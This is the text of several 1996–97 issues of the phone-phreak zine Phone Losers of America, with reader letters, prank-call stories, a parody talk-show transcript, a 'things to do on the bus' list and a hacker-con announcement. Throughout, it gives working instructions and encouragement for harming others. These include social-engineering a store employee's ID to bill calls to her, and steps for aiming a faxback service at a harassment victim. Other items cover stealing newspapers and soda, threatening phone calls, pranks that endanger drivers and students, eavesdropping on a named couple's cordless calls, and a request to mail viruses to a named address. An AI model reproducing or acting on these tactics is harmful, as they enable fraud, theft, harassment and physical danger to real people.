This service is offered for free on 800 and 888 numbers. If you want to call regular numbers it cost's extra. Unfortunately, after you call the number, you cannot send tones and it is too staticky to use a tone dialer. Grab a copy at http://www.net2phone.com.

Keystroke - prenzo@soho.ios.com

------------

Dear PLA:

Have you read the latest/last issue of Phrack? Well I have and discovered that Erik B will no longer be publishing Phrack does that mean he won't publish PLA either? Please say it ain't so!

[It's true that erikb won't be writing PLA anymore but fortunately an even better editor has decided to take the reigns. Your new editors are Emmanuel Goldstien and Chris Tomkinson. I might still write an occasional article, though. For those who read 2600, don't worry - PBX Phreak will be taking over as head editor there. Thanks for your concern.]

------------

Dear PLA:

You're pretty damn funny. I'm gonna drive out there this summer just to harass you.

Lupus Yonderboy

Henderson, KY

----------

Hey RBCP,

Still got those annoying neighbors?  Here's my personally guaranteed method of Cactusing them.  Next time they piss you off, wait for the newspaper courier to throw their paper into their yard.  Right after the courier leaves, sneak over and steal your neighbors newspaper.  Replace it with a neatly rolled and rubber banded newspaper from last week.  Do this for about a week.  They'll get pissed becuase they will be paying for a paper they didn't get.  You'll get a free paper out of the deal and can get rid of wasted paper. (Great Recycling program).  Even an added bonus if the newspaper guy has been a real pain in the ass lately, he'll probably get chewed out by his boss!

After stealing their paper for a week, try canceling their paper service.  Or if they come home from work late, steal their paper and cut out all the really interesting articles, then roll it back up and leave in their front yard.  You'll be surprised how many people are newspaper dependent!

Peace OOoouutttTTT....

N-TREEG

------------

Dear PLA:

I don't know if you are in to getting soda out of machines or not, but I'll send my idea anyway.  I've found that, with a friend to hold up the trap door where soda comes out, you can stick your arm inside a pepsi machine and pull soda out. This is for 20oz. bottle dispensers.  On can machines, you need more time and a secluded place.  You probably will need to break the plastic cover just above the slot where soda comes out.  Once this is off, you will see a bar held in place by a pin.  This bar stops the door from coming up too far.

Just use some pliers and pull the pin off, Then slide the bar out and you can stick your arm inside and get free soda.  Schools with machines in the locker room are the best place to do this.  You can also use a broomstick to accomplish the same thing if you can't get your arm inside the machine.

------------

Dear PLA:

Hi. I'm the co-founder of the PLA Bay Area Division (I like to call it PLA-BAD) here in California. I went to Radio Shack one day about a week ago to buy a tone dialer (gee, I wonder why?). They were out of tone dialers, but the idiot employee who was working at the time (his name was David) told me I could pay for it now and come back in a couple days to get it when they got their new shipment in. He told me he would remember me. I gave him my money, he gave me a receipt, and I went home.

Two days later, I went back to pick up my tone dialer. David wasn't working, so I showed my receipt to some other employee and he gave me a tone dialer. I left. A few minutes later, I realized that I forgot to buy batteries. I went back, and guess what--David was working!

He looked at me, said "Oh, I remember you!" and gave me another tone dialer.The guy who gave me the first one was nowhere in sight. So I got two tone dialers for the price of one. Oh, and the phone number for the Radio Shack where this happened is 408-746-0809. The store is located in Sunnyvale, CA.

DarkCactus (darkcactus@hotmail.com)

------------

Dear PLA:

As of June the US Postal Service (sadly) is now sending out confirmation on address changes and forwards.  Thought you might like to know (if you don't already) cuz that affects your revenge document.

------------

Dear PLA:

Hey, me and Hormone were messing around and we found this new way to make free long distance, and thought you might want to include it in in a future issue.  We called up the Bon (department store), and we got transfered to the Tiger Shop (they sell clothes there or something), we talked to some sales Rep named Tracy and i pretended to be from security, and said that we were doing a routine check to see if the employee's knew the info they were supposed to. We got her name and her employee number.. Then we called back, talked to the Bon opeartor, and Hormone said he was Tracy from extension 6170 (The tiger shop) and that he needed an outside line. She asked for his employee number, and then the number we wanted to dial. .. he gave him Disneyland security, and the call went through... They must deduct whatever the charges are from that person's pay roll or something.. Hormone also hasn't hit puberty yet, so he can pose as a girl pretty good :) ..Otherwise you would have to search around until you found a guy working there.

pISer

[Wow, Hormone is going to be thrilled to have that announced to the whole world. Thanks for the ideas!]

------------

And yet another issue of PLA comes to an end. The next issue shouldn't be  quite so delayed as the last one but you never know. PLA's Main Headquarters  (i.e. Me) will be relocating somewhere east of California & west of Georgia by the next issue so be on the lookout for the new address if you're planning on sending a pipebomb to me or anything. Until then, check out the following really neat-o electronic 'zines:

FLaK - http://www.peak.org/~bueno/flak/

Prohibited Data Processing - http://www.peak.org/~bueno/prohibited/

Contact The Phone Losers Of America Nearest You!

ETEXT.ARCHIVE.UMICH.EDU - pub/Zines/PhoneLosers

FTP.INTERCONNECT.NET - pub/personal/pla

FTP.SPIFF.NET - /pub/users/apok0lyp/pla

bueno@peak.org - RedBoxChiliPepper

roy@icsi.interconnect.net - Zak a.k.a. el_jefe

collcard@big12.metrobbs.com - To contact Colleen Card

apok0lyp@i1.net - Apok0lyps

http://www.apci.net/~eightbal/ - Eight Ball's PLA Corner Pocket

http://www.pancreas.com/libs/pla.htm - THe FLoaTinG PanCReaS BBS

http://peak.org/~bueno/pla.html - Phone Losers of America Homepage

http://www.spiff.net/~apok0lyp/index.html - PLA, Manson, Anime

http://www.compumedia.com/~jnoonan/pla - Delirium's Original PLA Web Page

Issue #042

Released on December 10, 1996

TABLE OF CONTENTS

Introduction - p39

Geraldo Show Transcript - p102

Where's Dino? - p168

7-Eleven Halloween Terrorism - p196

Bus Boredom - p394

CuervoCon Announcement - p416

Letters - p523

"Is your life still based around being a pain in the ass?"-Chris Tomkinson

Wow, a whole six issues in one year. I'm really starting to slack off. That's pretty lousy compared to the previous year's thirty-six issues. Maybe I'll continue the trend and release about two issues in 1997.

Nothing exciting is happening in PLA Land. El_jefe, apok0lyps and z3nsless loaded up their gear and moved to Corpus Christi, Texas to mingle with the dead jelly fish and drunken mexicans at 7-Eleven. Me & Colleen & Emily have relocated to Celina, Ohio just in time for the -172 degree winter. The police seem to have given up finding those kids in the boatyard.

The time is almost here for the newest edition of the Phone Loser's quarterly phone directory so submit your new phone numbers today. Since people only like to submit numbers for the loser list, I've thought up a nifty new requirement- if you want to submit a loser, you also gotta submit two pay phone numbers for each loser. There, that'll teach you people. All numbers are verified so just try to pull a fast one on me. I hope you all hate this issue and quit reading PLA forever.   -RedBoxChiliPepper

Transcript of Geraldo Show

What follows is a transcript from the June 14, 1996 Geraldo show on computer hackers that I taped and typed out a transcript of it. Since nobody would buy the transcripts for $19.95 plus shipping and handling from me, I decided to print it up here in PLA for free. So if you missed the actual show, read on...

[Theme song plays & Geraldo runs out around the audience. Applause.]

GERALDO (to the audience): Do you know who can access a computer to find out how much is in your checking account? How much you owe on your credit card?  Where you shop? Who you've called on your telephone?  Our guests today are going to tell you just how easy it is and make you think twice before using your credit card or making a phone call.

GERALDO (turns to introduce guests): This is Tsumushima Shumora, (stutters) no, I mean Tmususoto Shimora...I...(laughs). How DO you pronounce your name?

SHIMORA: I'm not really sure.

GERALDO: Well, Shimora is the author of the best selling book, Takedown, an autobiography which details Shimora's relationships, work life as a computer security expert, ski trips, favorite coffee shops and in the last couple chapters, the pursuit and capture of world-famous computer hacker, Kevin Mitnick.

[applause]

GERALDO: Mr. Shimora, what possessed you to write this book and why do you believe the world is interested in your social life?

SHIMORA: Well, actually it's a- (gets inturrupted by Geraldo)

GERALDO: Whatever. (introducing second guest) And here we have famous mid-western computer hacker, Phillip, who goes by the aliases Lax Vaxen & Mr. Hack and heads one of the more elite underground groups in the United States known as the NOC Hackers. Phillip is going to demonstrate just how simple it is to aquire information that most of you consider to be private.

[close up of Phillip typing away on a computer terminal. Camera goes in on screen and you can see Phillip on IRC getting flooded off by half the people in #hack.]

GERALDO: What are you up to right now, Phillip?

PHILLIP: Well, I've accessed a highly secret system on the information superhighway that allows computer hackers to talk to each other. There's a problem, though, because I keep losing my connection.

GERALDO: And what exactly do you talk about once you've accessed this computer?

PHILLIP: Oh, you know...how to break into other systems and how to hack boards and make red boxes and blow things up and stuff like that.

GERALDO: Red boxes?

PHILLIP: Yeah, it's a little device that makes secret tones to fool pay phones into thinking you've put in money. (Pulls a red box out of the front of his pants and holds it up for the audience to see.)

GERALDO: Could we hear the tones that this box makes?

PHILLIP: Well, it doesn't work right now because I haven't figured out how to solder the new illegal crystal in and I keep melting the circuit boards but when I finally get it, I'll be able to make free calls.

GERALDO: That's, uh, interesting. Our next guest, who we'll call Jim, wishes to remain anonymous. He says that computer hackers have made a mess of his life after he engaged in a war on a local computer service with hackers.

[camera focuses in on a man wearing a hat, dark glasses and panty hose over his face.]

"JIM": They ruined everything I had. They called my house day and night, they called the hotel I worked at constantly, they re-programmed the gas pump at 7-Eleven to dispense sugar instead of gasoline which ruined my car, they hacked into the city's computer and ordered them to come to my house and take my rotweiler away and have him put to sleep.

GERALDO: And the police could do nothing?

JIM: No, when I called the police, they looked at my name on their computers which told them I was wanted in 36 states for assault with a deadly penis. I'm still on probation for that and I'm not even responsible.

GERALDO: (gets that dramatic look on his face) Not even responsible. After we come back, you'll meet FBI agent Mike Buford who'll tell you what's being done to put a stop to this kind of electronic terrorism on the information superhighway.

[commercial break]

GERALDO: Today we're discussing computer hackers on the information highway and how they affect your life. This is FBI agent Mike Buford who's been with the agency for 12 years now in the computer crime division. Mike, how big of a problem is this and what's being done to counter-attack these criminals?

MIKE: Well, Geraldo, I can't really say anything about that because it's a secret.

GERALDO: Then why are you on this show?

MIKE: Well, me and my wife were planning on taking a vacation out this way and when you offered to fly me out for free, how could I resist?

GERALDO: (gets a pale look on his face) ...Let's take a few questions from the audience. (runs out into the audience and hands the microphone to a lady)

LADY: Yes, my question is for Phillip...By watching you type there, I noticed that my 10-year-old daughter types faster than you. Does this make you feel stupid and are you equally slow in other aspects of life?

PHILLIP: Hey, shut up. [laughter from audience]

GERALDO: (runs over to a man with greasy hair and a fishing cap.) Yes, how about you, sir?

MAN:  My question is for "Jim" - yeah, did they have a cellyalur phone or caller I.D? Because the little cocksuckers that were on my fuckin' cordless phone were sitting in a goddamn van across from my fuckin' house and they were using computers and cellyalur phones to tap my number.

JIM: (breaks down crying) Yes! It was the cellular operator that called us for over a month straight! (sobbing) Eventually we knew all of the cellular operators by name. It was horrible. I'm not sure about the caller I.D., though.

MAN: Yeah, well all these little jackoffs could do was play their stupid fucking games and I said, hey, come down here and I'll give you a hundred dollars but they never showed up.

JIM: Sir, not to be rude or anything, but exactly what year of grade school did you drop out of?

MAN: Yeah, like your the first fuckin' person to say that to me.

SHIMORA: Geraldo, I'd just like the audience to know that me and my girlfriend did eventually get back together and we're doing great now and we plan to get married in about two years.

GERALDO: Who cares, Shimora? (agreement from audience)

GERALDO: Phillip, do you ever feel that you're intruding on people's privacy when you hack into a system and retrieve all of their personal information.

PHILLIP: No, I think what I do is protected by the 1st amdendment in the Declaration of Independence, and besides, I can't always get all of their personal information because they might not be listed in the phone book and my CD-ROM phone books only give out their name, address and phone number. Then I have to call the people a social engineer their credit cards and stuff out of them.

GERALDO: And this works?

PHILLIP: Not yet, but I'm getting real close.

GERALDO: Phillip, I want you to pull up my personal credit history as an example of just how easy it is for a high school kid to infiltrate today's supposedly secure system.

PHILLIP: Okay, I'll get right on it.

GERALDO: We've gotta take a break now. When we return, you'll meet AT&T spokesman, John Moro. After this.

[commercial break]

GERALDO: We're here with John Moro, a spokesman for AT&T who claims their security is just fine. John, what's AT&T's yearly loss due to fraud by hackers?

JOHN: Oh, I'd say around $893 billion or so. Down two percent since last year. See, people expect a convenient phone system that's totally secure and impenetrable to anything and that's just not possible these days with such rapidly advancing technology. No matter how secure we make the system, there's gonna be holes in it.

GERALDO: John, are you really a spokesman for AT&T?

JOHN: ...Well, no, actually I'm just the night janitor over at the main office. See, they're a little short-handed this week and they asked me to fill in for John. My name's actually Ed. Hell, last week I was mopping with one hand and answering directory assisstance calls with the other. The hours are good, though.

GERALDO: I see, well you're what I'd consider an inside source, then. What do you see happening there? Do you think the phone company takes the proper precautions to protect against hackers?

ED: Well, Geraldo, no I don't and I say this mostly because I'm pissed at Robert because he keeps putting his chewed gum underneath his desk and it's a sumbitch to scrape off. Other than that I'd say they're secure.

GERALDO: Ed, you're not operating on all six cylinders, are you? ...(turns to Phillip) How's my credit history coming along, Phillip?

PHILLIP: It's no good, you're unlisted.

GERALDO: Unlisted? I thought you hackers were supposed to be able to get unlisted privelidged proprietary information. Why can't you get my credit report? Do you even have my phone number yet?

PHILLIP: Just give me some time! I don't work well under pressure.

GERALDO: (covers the microphone and mutters something to Phillip.)

PHILLIP: Hey, fuck you! I'm not a hacker, okay?!?! I'm nothing but a lame wanna-be anarchist! I admit it, alright! Here, take your computer and shove it up your nose! (Phillip picks up the monitor and throws it at Geraldo's face, probably breaking his nose.)

The rest of the show was nothing but a test pattern so I can only assume that the cable company was having problems or something. It was storming outside.

Where's Dino ?

The most common question I've been asked over the past couple of years is what ever happened to Dino Allsman? I get tons of mail from people asking me for his phone number and/or address and asking if it was really a true story.  So here's the latest scoop on Dino:

While living in Corpus Christi, I called el_jefe and we decided to call Dino Allsman but both of us had lost his phone number. So we called his wife, Shana's, work and told the person there that I was Shana's dad and it's an emergency that I get her phone number. The stupid blonde working there says, "Sure!" and gives me the number. We tell her how incredibly stupid she is and hang up.

Dino wasn't quite as agressive as we remembered him. Maybe we just wore him out or something. We called him up and started our usual lame barrage of "Roy! Roy!" and "How's the cordless phone, Dean-o," etc. and he didn't spend much time with us, just called us motherfucking cocksuckers a few times and slammed down the phone. Stupidly, I didn't tape any of it.

That was the end of that. A few months later when we left Corpus and visited East Alton again, I did alot of cordless listening hoping to once again hear Dino and perhaps even create a sequel to the story, but he never came on. I did hear some little kids making prank calls, though, which was kind of funny.

A year passed and once again we stopped by East Alton on our way to Ohio. On the very last day we were there, I turned on my scanner and guess who I heard?  Shana! And what was better is that she called Dino and they had a fight. I guess Dino was at a drinkin' buddy's house or something and Shana called him to yell at him because he always spends all their money by cashing checks at Schnucks. She asked what the hell he wrote a check for $15 for and he claimed it was for a gallon of anti-freeze. (About $3.99 for most people.)

The argument climaxed and right around the end Shana says, "Dino, I need to know where you and me stand...I need you to meet me half-way here...  ........Dino?..." And he replies (and I swear I'm not making this up), "Hold on, I gotta find my cigarettes." The conversation ended abruptly shortly after that.

Not much more news since then. We left town that day and we'll probably check in on him again. Someone should open an ISP across the street from Dino, perhaps in the church, then set up a RealAudio stream of all cordless phone activity in that area. That would rule. Anyone who does that get's a free PLA t-shirt.

Dino sound clips are now available for you to listen to by pointing your browser at http://www.bright.net/~bac/heardino.html or you can follow the link from PLA's main page. Listen to Dino calls us jackoffs, hear him threaten us with his 12 guage, cower in fear as he dials the authorities on us.

7-Eleven Halloween Terrorism - by Dairy Queen

Sweet Jesus, did I ever have a good Halloween.  It all started off with me and my friend, Peter, decideing to bust into my church and make prank calls from there.  (Don't think that I'm a bad guy breaking into a church, my Dad is a minister and I know the secrets on how to get in.)  While we were harrassing our fellow St. Louisans, Peter remembered that he was supposed to call some girl he knows that works up at 7-11.  But when he called the girl did not answer the phone but rather a mean sounding fellow named Eddie. He would not put the girl on and he told us to fuck off. This is rude because we had yet to try any shit on him.  But now that he's been established as a prick-tease we must hurt him.  So I remembered your little idea on acting like you're going to rob them.  So I tried it, and he threatened my life.  He talked like Robert DeNiro, I was pictuing some tough older Italian Man.  After this conversation is when I called back and decided to stray from your plan and wing it on my own:

EDDIE: 7-11, What?

JARED: That was rude, can I speak with your manager?

EDDIE: No he aint here.

JARED: How do you sleep at night knowing what you do to those little girls, do you realize what their lives will be like for the rest of there lives?

EDDIE: What little girls, what the fuck are you talking about?

JARED: Didn't you think that maybe one of those little girls has a brother?

EDDIE: I didn't do jack shit, stop calling me mofo. or I'll kick your ass.

JARED: Over the phone?

EDDIE: I get off at ten you meet me outside if you have some kinda problem with me.

JARED: I'm gonna bring you down mother fucker, Im gonna rip off your head and piss in the stump, I'll fuck your mother so hard that you'll be out of a job.

It went on like this for 20minutes.  I got so into it that I actually thought that I was going to kill this man. I think he was crying by the end. The conversation ended with me yelling "Youre going down like your sister at a frat party." And he hung up.

By this time it was about 9:15, Peter's got some strict parents so I had to get him back home.  On the way we decide to stop off at the 7-11 at Olive and Fee-Fee, to get a look at Edie.

In the parking lot there were four police cars, and a few of my friends' vans. My friend  tells  me that his friend Edie who works there was being harassed, and that he's afraid to walk home.

Peter and I say bye to our friend and continue into the store.  There we find a tall skinny black man, real sickly lookin, with skelotone make-up that had run down from his eyes.  He was crying.  But he had stopped now and he was bragging to this girl we know, "Mother Fucker must have a death wish threantin my death."

Peter says, "You mean 'life', threatining your life, or a death threat."

Peter has a lot of Balls (13, in fact)

He told his side of the story to us,  I was about to throw up out of fear of the cops outside, and at how he was ruining my story.  So Peter shook his hand and we left. The next day at school Everyone was talking about boy Eddie and how someone wants him dead.

I later found out that the story did not end there. As it turns out Eddie had some of his friends hanging out in the back room smoking some pot earlier in the evening.  They were apparently sloppy and left some roaches on the bathroom sink.  Well, one of the many cops that I puppeteered into going to 7-Eleven that evening found the leftovers.  Eddie now works at Venture.  This is not the end.

Things to do While Riding on the Bus - by Interphace & Kingpin

We all ride or at one time rode a school or other bus. Most of these have been dirty, smelly, and hazardous. So what to do about this? Well, if you hate the driver and the kid behind you is the biggest asshole alive, or maybe you're just bored, then this file is for you. If you like riding the bus, stop reading this and slap yourself across the face, you queer! Now, onto the dirty stuff.

THINGS TO THROW OUT THE WINDOW

If its a really hot day and everyone behind you has their windows open you can easily make their ride into a living hell. My favorite thing to do is to take wonderful Sunny Delight and, when its windy, pour it out of the side of the bus.It gets on the lower windows and your busmates! This stuff never comes off and the more you wet it down, the more of a stain it becomes. It dosen't do the windows too much good either. If you're really daring, replace Sunny D with colored whiteout. Then watch the screams as it gets in their hair, mouth, eyes, etc....

When you stop and there are cars next to you (also stopped) there are alot of fun ways you can be a little bastard. Take some honey (or other sticky substitute) and pour it on their windsheild. When they wonder what it is, and turn on the wipers, all hell breaks lose. It smears and they can't see! (If you've poured enough on) They'll probably drive anyway, not knowing that they just drove over a dog, cat and senior citizen.

Fill up a powerful squirt gun (a super soaker XP 257 sprays like a hose and kicks ass if you can smuggle it on the bus) with ketchup or mustard or other condement. Find some poor sap with a business suit and his/her car window down and yell, "Hey, Mr/Mrs! Bark like a dog and sqawk like a chicken or I'll make it look like your a very messy eater!" If he's smart, he'll do it. If he trys to put up his window, let that XP rip. This way is even better cause it gets on his window and him. Here's another catch. After he's done sqawking, spray him anyway. This puts him in a very bad mood for the rest of the work day.

Next, go to your local store and buy fake vomit, gak, slime, etc, roll them up into little balls and when the cars are zooming past you in the opposite direction, fling them right out in front of you and let the other car catch them. This should make them screw up their driving and go off the side of the road, into the later half of your bus, or (even better) crash into your school.

Have any leftover food? Throw that have bitten apple at the old lady crossing the street, that pudding cup on your principal's head, a bannana right in front of that happy-go-lucky jogger (this one takes real skill), and watch as they chase after you in vain with their cane, pencil, headphones, etc..

NIFTY WAYS TO MESS WITH PEOPLE'S HEADS

If you see a biker who isn't carrying a shotgun (rare) ,yell "Hey buddie!  There's a HUGE wasp on your head, and it looks pretty damn mad!!" He will frantically try to swat the imaginary bug while trying to keep control of the bike. This is hilarious until he crashes into your bus and your bus driver mentally flips, then flips the bus.

Write signs like "There's a BOMB on our bus and THAT'S why we're going so slow!" or "This bus driver takes us to a cabin in the mountains and BEATS us!"  This will surely get paranoid loyal citizens to run to the nearest pay phone to box a call to get you and your abusive bus driver some help.

Rapidly lick the windows and make horny gestures to the poor people behind you. This is great for older people.

Just stare at the people behind you. They can't help but look back every now and then to see if your still staring. It drives them nuts.

Like Beavis & Butthead did, moon the other drivers by sticking your ass in the window and watch them hurl.

Ask all truck drivers to pull the horn. One time we did this and our driver almost drove of the side of the road.

Yell to some dude on the sidewalk or in a vehicle, "Hi Uncle Ron! Hows Aunt Pattie? Does she still drink out of the toilet? Did you ever get that hamster out of your ass??" If they have name tags, even better.

Yell to a stupid schmuck who bought that god-awful McDonalds coffee or other breakfast food, "Ya, Ah youst ta work at Mceedees! They put all sorts o hair in their coffee. They also put spider eggs in their cinnamon rolls and kitty liter in their hash browns!! Some guy even found a finger in one o dem breakfast burritos..." No matter how hungary they are, they won't be able to eat another bite and they'll put some hair in their coffee so they can sue Mc's.

SURE-FIRE WAYS TO GET YOURSELF KILLED

Yell at the biker with a shotgun.

Find some gang members who are sitting there loading up some guns and yell, "Bamm........Ya g! You ain't no homie from the hood!! Oh ya, AND I DID YOUR MOMA!!" Keep this up until they spray your bus with an uzi.

Find some hics in a 4x4 truck and yell, "Ya..uh..You..uh..Yoo stuphid bastard!! That peice oh shit is nothin compared to what ah got!! Why don't you test my sayin and we'll RAM!" He'll ram your bus, hopefully, and either your bus will withstand it and you can then get him to do it again, or you'll both cause a major traffic jam, and a few extra deaths/injuries.

You know that pesky emergency door in the back? Well, when you've beaten the alarm, just wait till you're stopped, and jump out. Or you can jump while the bus is moving and that semi is behind you, if you don't feel you have alot to live for. Another thing is to open it up and throw other students out. (Great for getting rid of enemies)

THINGS TO DO TO THE BUS DRIVER

Get everyone to sing, "Its a small world after all" over and over till your bus driver snaps, screams about everything bad in his/her life, and put the pedal to the medal and drive off the road and into your local movie theater thats playing Little white and the 7 dwarfs. Run up to the penthouse floor!! Rated XXX!

If the driver has a little cup handy to keep water, pepsi, exlax, etc.. Pour hard liqour into this. When they come come to your stop she'll be like "AH AIN'T PULLIN THIS BUS OVER!!" (swig,swig) "WE'RE GOING TA TEXAS TO SEE PAPPY AND MOMMA!!" This is also hilarious until you realize she won't make it to texas without crashing through a few biuldings. If your lucky, she'll pass out and you can drive.

When there is a Semi behind you and your on the freeway, yell to the bus driver "Hey OH MY GOD!! THERE IS A LITTLE BOY/GIRL/BABY/PUPPY/(other) IN THE MIDDLE OF THE ROAD DEAD AHEAD! STOP THE BUS!! QUICK!" Either she'll stop and the semi will propell us to flip, go on, or if the bus is sideways when she tries to miss the invisible infant, it will seperate us in half. (COOL) Or she won't stop. In this case, make two large thumping noises and watch her eyes get real big, and then she'll open the door and jump out, sacrificing herself for her bad, bad deed.

Take a bunch of marbles and just dump them on the floor. They should travel all the way up to the bus drivers seat. This will create a neat effect. She either won't be able to step on the brakes or will just totally freak and drive into some elderly home.

By now you should have either been banned from all the buses or killed in an accident. Hope your not the latter and you enjoyed this peice of crap file..

This file is for humor purposes only. Blah Blah Blah. I really don't expect you to open the back door and fling people out of it. But that makes your day, be my guest.

CuervoCon Announcement

CUERVOCON 96 CUERVOCON 96 CUERVOCON 96 CUERVOCON 96 CUERVOCON 96

Tengo que hable con mi abogado.

What : A computer/telephony/security conference. (show this part to your boss.)

Where: Fort Brown Hotel, Brownsville Texas.

When : 28 & 29 December, 1996

Who  : The usual gang of cretins.

Why  : It's winter, and it is 12 degrees outside.  The dumpsters are frozen shut, and there are icicles on the payphones.  Brownsville is at the Southern-most tip of Texas, right up against...Mexico.  Yes, Mexico, land of cheap cerveza, four-dollar strippers, and liberal drinking laws.  Mexico, where you too can own your very own Federal law enforcement official for a fistful of pesos.

Speakers

Anybody wishing to speak at CuervoCon should send e-mail to the address at the bottom of this announcement. Currently the list includes:

u4ea (by teleconfrence)

Major

Caffiend (About her Breasts)

Events

"How Much Can You Drink?"

"Fool The Lamer"

"Hack The Stripper"

"Hack The Web Server"

"sk00l"

"Ouija Board Hacking"

...as well as a variety of Technical Presentations.

General Information

The Fort Brown Hotel will have available to us 125 rooms at the holiday in @$55 a room, and 75 rooms at the ramada for $45 each. The Fort Brown was previously an actual fort when it was closed down by uncle sam. It became one large hotel until it was recently purchased and split into the Holiday Inn and the Ramada. The Fort Brown was chosen because it is across the street from the bridge to Mexico. You can call the Fort Brown Ramada at: 210-541-2921 You can call the Fort Brown Holiday Inn at: 210-546-2201 Call for reservations, make sure to tell them you're with CuervoCon.

The con room or as the hotel named it, almost seems like for us, The "fortress room" is ours on Satruday until 4pm, and all day Sun. If there is a problem with regards to the 4pm Saturday issue, they will set us up at the convention center free of charge , but that is away from the hotel, so we are hoping there after 4pm crap will clear up and let us in. We are going to get it opened on Friday night so we can hang around in it.

Brownsville is right on the Mexican border, adjacent to the Mexican town Matamoris.  The Gulf of Mexico is 25 miles away.  Brownsville has a population just over 100,000.  The police force includes 175 officers,  and a wide variety of federal law enforcement agencies have a strong presence there as well.  The climate is semi-tropical, and the RBOC is SouthWestern Bell.

Matamoris is the other half of brownsville. Home of over 1/2 a million people, it is known since the early 1900's as a pit of sin. The federale's are not to be fucked with and it is serviced by TelMex. It is known for it's bars, strip clubs and Mexican food. Matamoros also has an airport in case you live in Mexico and care to go, via Aeromexico.

Directions:

In Texas Driving - Go anyway you can to get to US 77 South. Take 77 South till it ends in Brownsville. From there you will turn right on International.  Proceed all the way down international, right before the bridge, turn left.  The Fort Brown will be on the left.

For those flying in - We are going to try to have a shuttle going. Also just tell the cab driver, Fort Brown.

Celebrity Endorsements

Here's what last years participants had to say about CuervoCon:

"I attended the CuervoCon 95.  I found many people there who, fearing a sunburn, wanted to buy my t-shirts!" -ErikB

"I tried to attend, but was thwarted by "No Admittance to The Public" sign.  I feel as though I missed the event of the year." - The Public

"mmmm...look at all the little Mexican boys..." -Netta Gilboa

"mmmm...look at all the little Mexican boys..." -Emmanuel Goldstein

"Wow!  CuervoCon 95 was more fun that spilling my guts to the feds!" -Panther Modern

"CuervoCon is our favorite annual event.  We know we can give security a day of rest, because you people are all too drunk to give us any trouble..." - AT&T

"No moleste, por favor." - TeleMex

Don't miss it!

Have you ever hacked a machine in your hometown from a foreign country?

Have you ever had to convert dollars into pesos to get your bribe right?

Have you ever spent time in a foreign prison, where your "rights as an American" just don't apply?

Have you ever been taken down for soemthing that wasn't even illegal half an hour ago?

YOU WILL!  And the con that will bring it to you?

CUERVOCON 96

CUERVOCON 96 CUERVOCON 96 CUERVOCON 96 CUERVOCON 96 CUERVOCON 96

brought to you by

- S.o.B. - TNo - PLA - Phrack - The Guild - F.U.C.K. - SotMESC -

Contact Information

info@cuervocon.org

www.cuervocon.org - Look here for updates.

Voice mail system coming up soon.

Letters

Ever wanted to bug the HELL out of sombody ? Intel has made this oh so easy. In a few steps you'll be on your way to deliberately pissing sombody off.

1. Dial 1-800-321-4044

2. Press 2 (It will start ringing)

3. Wait for intel sound and press 2

4. Wait for beep, Press 2

5. Wait for beep, Press 2

6. Enter number for whom you wish to have them fax AREA CODE FIRST then press 1

7. Wait for beep. Press 3

8. Hang up and Intel will start calling this person 3 times at 3 min intervials

The Red Boxer

pme96@juno.com

[This kind of reminds me of the time I used U.S.West's faxback service and I couldn't get my fax software to work right and U.S.West wouldn't stop until I successfully received it. I spent two hours trying to get a fax just so my phone would stop ringing. You're right, a faxback number is the perfect tool for harassment and I think I'll try to put together a rather large list of them in the next quarterly phone directory. Everyone, find a faxback number and e-mail it to me NOW.]

------------

hey... i got some cool #'s for the PLA directory. My friend and I read your issue about taking over the Fred Myers store. Well, we went to Lowe's (a hardware store) and noticed a fone there. we turned over the little sheet that gives the ext #'s and it had PAGING on there. ususally you just press PAGE on the fone, but this wont work from an outside fone obviously. so you ask for ext. 89 and sometimes they'll connect you. Most of the time though, they'll tell you they only have 3 digit exts. To get around this, you just say something like the front desk told me this is the ext. i needed to get. They'll usually connect you then. or ask for 890.

one time the guy connected me to security! Oh no! He asked what I was trying to do. I said "get ext. 89" he replied "that's our paging system" so i said in a deep ,suspicious voice. "exactly" well i guess he hung up on me or something. the # is (704) 543 5600 . One good thing about this is that the intercom is REAL loud. you can here it from across the parking lot. it SO loud we can almost hear it from across the school.

Burke F.

------------

Waddap Redbox...

Well after viewing your list of *interesting* operator comments, I thought I'd add some stuff that I've heard.  These all happened in New York City while attending the 2600 meeting there, go figure...

"Aww come on kid, you can do better than that!"

"Sir, you might try putting in real coins next time."

"Those tones seem a little off, you might want to tune your box."

"Nynex supervisor.  Sir, if you want to make a call, you should really try and stop ripping us off."

Happily hacking in NJ,

Phear

------------

RBCP,

On pla 42 could you put a note on it somewhere to send all virii, harassing letter's and big files to take up hard drive to walters@tcoe.trinity.k12.ca.us. Oh ya and tell the people to include the message "Send a picture of yourself to Jeff!".  I just love to piss her off!

Thanks,

Jeff

Contact The Phone Losers Of America Nearest You!

etext.archive.umich.edu - pub/Zines/PhoneLosers

ftp.fc.net - pub/defcon/PLA

bueno@peak.org - RedBoxChiliPepper

roy@icsi.interconnect.net - Zak a.k.a. el_jefe

collcard@big12.metrobbs.com - To contact Colleen Card

apok0lyp@i1.net - Apok0lyps

http://peak.org/~bueno/pla.html - Phone Losers of America Homepage

http://www.geocities.com/timessquare/3237/pla.html - Virgina PLA

http://www.geocities.com/SiliconValley/Pines/3411/ - Bay Area PLA

http://homepage.macomb.com/~syfert/pla/ - Phone Losers of Illinois

http://www.geocities.com/SiliconValley/5937/- Phone Losers of Wisconsin

http://www.pancreas.com/libs/pla.htm - THe FLoaTinG PanCReaS BBS

Issue #043

Released on January 18, 1997

TABLE OF CONTENTS:

Making Fake IDs - roy

Cordless Phones...again - roy

Phone Losers of America Headline News - roy

Letters - roy

Crap - roy

"Freedom is just seven digits away." - Weird Al Yankovic

You may have noticed the web address change for the PLA page only lasted a week and we're back to peak.org again. This is due to bright.net's  apparent 150 baud web connection. Probably by next issue we'll be settled into a new web location. Aw, who am I trying to kid? I'll probably never keep the same web address for more than a year. PLA e-mail can now be directed to bac@bright.net or bueno@peak.org.

Two sources have confirmed for me that for some odd reason, Send-A-Song is now requesting a five digit zip code along with your creidt card number when you place an order with them. Can't imagine why. Stay tuned next issue when I explain step-by-step how to defeat this security measure. Well, not really, I just wanted to piss them off by suggesting I'd do such a horrid thing.

Strangely enough, I got some interesting spam-mail from Send-A-Song the other day, advertising their services and listing their web page address. Sadly, you're not able to order songs directly from their web page but there is a huge list of the current songs they offer. Very nice for someone who has matching credit card numbers and zip codes. (Their own, of course.)

Tired of sending the same old flowers, candy, cards and other typical gifts?

For Valentine's Day, birthdays, anniversaries,  Mother's Day, Father's Day, apologies, peace-offerings, friendship or just to tell someone you care ...why not SEND-A-SONG?

